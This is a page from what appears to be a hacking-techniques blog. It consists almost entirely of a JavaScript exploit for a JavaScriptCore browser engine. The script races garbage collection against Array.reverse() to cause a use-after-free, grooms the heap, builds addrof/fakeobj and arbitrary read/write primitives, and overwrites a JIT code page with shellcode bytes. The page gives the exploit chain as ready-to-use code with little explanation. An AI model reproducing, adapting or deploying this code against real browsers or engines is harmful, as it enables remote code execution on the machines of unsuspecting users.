Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86395364

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

// Load Int library, thanks saelo!
load('util.js');
load('int64.js');


// Helpers to convert from float to in a few random places
var conva = new ArrayBuffer(8);
var convf = new Float64Array(conva);
var convi = new Uint32Array(conva);
var convi8 = new Uint8Array(conva);

var floatarr_magic = new Int64('0x3131313131313131').asDouble();
var floatarr_magic = new Int64('0x3131313131313131').asDouble();
var jsval_magic = new Int64('0x3232323232323232').asDouble();

var structs = [];

function log(x) {
    print(x);
}

// Look OOB for array we can use with JSValues
function findArrayOOB(corrupted_arr, groom) {
    log("Looking for JSValue array with OOB Float array");
    for (let i = 0; i<corrupted_arr.length; i++) {
        convf[0] = corrupted_arr[i];

        // Find the magic value we stored in the JSValue Array
        if (convi[0] == 0x10) {
            convf[0] = corrupted_arr[i+1];
            if (convi[0] != 0x32323232)
                continue;

            // Change the first element of the array
            corrupted_arr[i+1] = new Int64('0x3131313131313131').asDouble();

            let target = null;
            // Find which array we modified
            for (let j = 0; j<groom.length; j++) {
                if (groom[j][0] != jsval_magic) {
                    target = groom[j];
                    break
                }
            }

            log("Found target array for addrof/fakeobj");

            // This object will hold our primitives
            let prims = {};

            let oob_ind = i+1;

            // Get the address of a given jsobject
            prims.addrof = function(x) {
                // To do this we put the object in the jsvalue array and
                // access it OOB with our float array
                target[0] = x;
                return Int64.fromDouble(corrupted_arr[oob_ind]);
            }

            // Return a jsobject at a given address
            prims.fakeobj = function(addr) {
                // To do this we overwrite the first slot of the jsvalue array
                // with the OOB float array
                corrupted_arr[oob_ind] = addr.asDouble();
                return target[0];
            }

            return prims;
        }
    }
}

// Here we will spray structure IDs for Float64Arrays
// See http://www.phrack.org/papers/attacking_javascript_engines.html
function sprayStructures() {
  function randomString() {
      return Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5);
  }
  // Spray arrays for structure id
  for (let i = 0; i < 0x1000; i++) {
      let a = new Float64Array(1);
      // Add a new property to create a new Structure instance.
      a[randomString()] = 1337;
      structs.push(a);
  }
}


// Here we will create our fake typed array and get arbitrary read/write
// See http://www.phrack.org/papers/attacking_javascript_engines.html
function getArb(prims) {
    sprayStructures()

    let utarget = new Uint8Array(0x10000);
    utarget[0] = 0x41;

    // Our fake array
    // Structure id guess is 0x200
    // [ Indexing type = 0 ][ m_type = 0x27 (float array) ][ m_flags = 0x18 (OverridesGetOwnPropertySlot) ][ m_cellState = 1 (NewWhite)]
    let jscell = new Int64('0x0118270000000200');

    // Construct the object
    // Each attribute will set 8 bytes of the fake object inline
    obj = {
        'a': jscell.asDouble(),

        // Butterfly can be anything
        'b': false,

        // Target we want to write to
        'c': utarget,

        // Length and flags
        'd': new Int64('0x0001000000000010').asDouble()
    };


    // Get the address of the values we stored in obj
    let objAddr = prims.addrof(obj).add(16);
    log("Obj addr + 16 = "+objAddr);

    // Create a fake object from this pointer
    let fakearray = prims.fakeobj(objAddr);

    // Attempt to find a valid ID for our fake object
    while(!(fakearray instanceof Float64Array)) {
        jscell.add(1);
        obj['a'] = jscell.asDouble();
    }

    log("Matched structure id!");

    // Set data at a given address
    prims.set = function(addr, arr) {
        fakearray[2] = addr.asDouble();
        utarget.set(arr);
    }

    // Read 8 bytes as an Int64 at a given address
    prims.read64 = function(addr) {
        fakearray[2] = addr.asDouble();
        let bytes = Array(8);
        for (let i=0; i<8; i++) {
            bytes[i] = utarget[i];
        }
        return new Int64(bytes);
    }

    // Write an Int64 as 8 bytes at a given address
    prims.write64 = function(addr, value) {
        fakearray[2] = addr.asDouble();
        utarget.set(value.bytes);
    }
}

// Here we will use build primitives to eventually overwrite the JIT page
function exploit(corrupted_arr, groom) {
    save.push(groom);
    save.push(corrupted_arr);

    // Create fakeobj and addrof primitives
    let prims = findArrayOOB(corrupted_arr, groom);

    // Upgrade to arb read/write from OOB read/write
    getArb(prims);

    // Build an arbitrary JIT function
    // This was basically just random junk to make the JIT function larger
    let jit = function(x) {
        var j = []; j[0] = 0x6323634;
        return x*5 + x - x*x /0x2342513426 +(x - x+0x85720642 *(x +3 -x / x+0x41424344)/0x41424344)+j[0]; };

    // Make sure the JIT function has been compiled
    jit();
    jit();
    jit();

    // Traverse the JSFunction object to retrieve a non-poisoned pointer
    log("Finding jitpage");
    let jitaddr = prims.read64(
        prims.read64(
            prims.read64(
                prims.read64(
                    prims.addrof(jit).add(3*8)
                ).add(3*8)
            ).add(3*8)
        ).add(5*8)
    );
    log("Jit page addr = "+jitaddr);

    // Overwrite the JIT code with our INT3s
    log("Writting shellcode over jit page");
    prims.set(jitaddr.add(32), [0xcc, 0xcc, 0xcc, 0xcc]);

    // Call the JIT function, triggering our INT3s
    log("Calling jit function");
    jit();

    throw("JIT returned");
}


// Find and set the length of a non-freed butterfly with our unstable OOB primitive
function setLen(uaf_arr, ind) {
    let f=0;
    for (let i=0; i<uaf_arr.length; i++) {
        convf[0] = uaf_arr[i];

        // Look for a new float array, and set the length
        if (convi[0] == 0x10) {
            convf[0] = uaf_arr[i+1];
            if (convi[0] == 0x32323232 && convi[1] == 0x32323232) {
                convi[0] = 0x42424242;
                convi[1] = 0x42424242;
                uaf_arr[i] = convf[0];
                return;
            }
        }
    }

    throw("Could not find anouther array to corrupt");
}


let oob_rw_unstable = null;
let oob_rw_unstable_ind = null;
let oob_rw_stable = null;

// After this point we would stop seeing GCs happen enough to race :(
const limit = 10;
const butterfly_size = 32

let save = [0, 0]

for(let at = 0; at < limit; at++) {
    log("Trying to race GC and array.reverse() Attempt #"+(at+1));

    // Allocate the initial victim and target arrays
    let victim_arrays = new Array(2048);
    let groom  = new Array(2048);
    for (let i=0; i<victim_arrays.length; i++) {
        victim_arrays[i] = new Array(butterfly_size).fill(floatarr_magic)
        groom[i] = new Array(butterfly_size/2).fill(jsval_magic)
    }

    let vv = [];
    let  v = []

    // Allocate large strings to trigger the GC while calling reverse
    for (let i = 0; i < 506; i++) {
        for(let j = 0; j < 0x100; j++) {
            // Cause GCs to trigger while we are racing with reverse
            if (j == 0x44) { v.push(new String("B").repeat(0x10000*save.length/2)) }
            victim_arrays.reverse()
        }
    }

    for (let i = 0; i < victim_arrays.length; i++) {

        // Once we see we have replaced a free'd butterfly
        // fill the replacing array with 0x41414141... to smash rest
        // of UAF'ed butterflies

        // We know the size will be 506, because it will have been replaced with v
        // we were pushing into in the loop above

        if(victim_arrays[i].length == 506) {
            victim_arrays[i].fill(2261634.5098039214)
        }

        // Find the first butterfly we have smashed
        // this will be an unstable OOB r/w

        if(victim_arrays[i].length == 0x41414141) {
            oob_rw_unstable = victim_arrays[i];
            oob_rw_unstable_ind = i;
            break;
        }
    }

    // If we successfully found a smashed and still freed butterfly
    // use it to corrupt a non-freed butterfly for stability

    if(oob_rw_unstable) {

        setLen(oob_rw_unstable, oob_rw_unstable_ind)

        for (let i = 0; i < groom.length; i++) {
            // Find which array we just corrupted
            if(groom[i].length == 0x42424242) {
                oob_rw_stable = groom[i];
                break;
            }
        }
        if (!oob_rw_stable) {
            throw("Groom seems to have failed :(");
        }
    }

    // chew CPU to avoid a segfault and help with gc schedule
    for (let i = 0; i < 0x100000; i++) { }


    // Attempt to clean up some
    let f = []
    for (let i = 0; i < 0x2000; i++) {
        f.push(new Array(16).fill(2261634.6098039214))
    }

    save.push(victim_arrays)
    save.push(v)
    save.push(f)
    save.push(groom)

    if (oob_rw_stable) {
        log("Found stable corrupted butterfly! Now the fun begins...");
        exploit(oob_rw_stable, groom);
        break;
    }

}
throw("Failed to find any UAF'ed butterflies");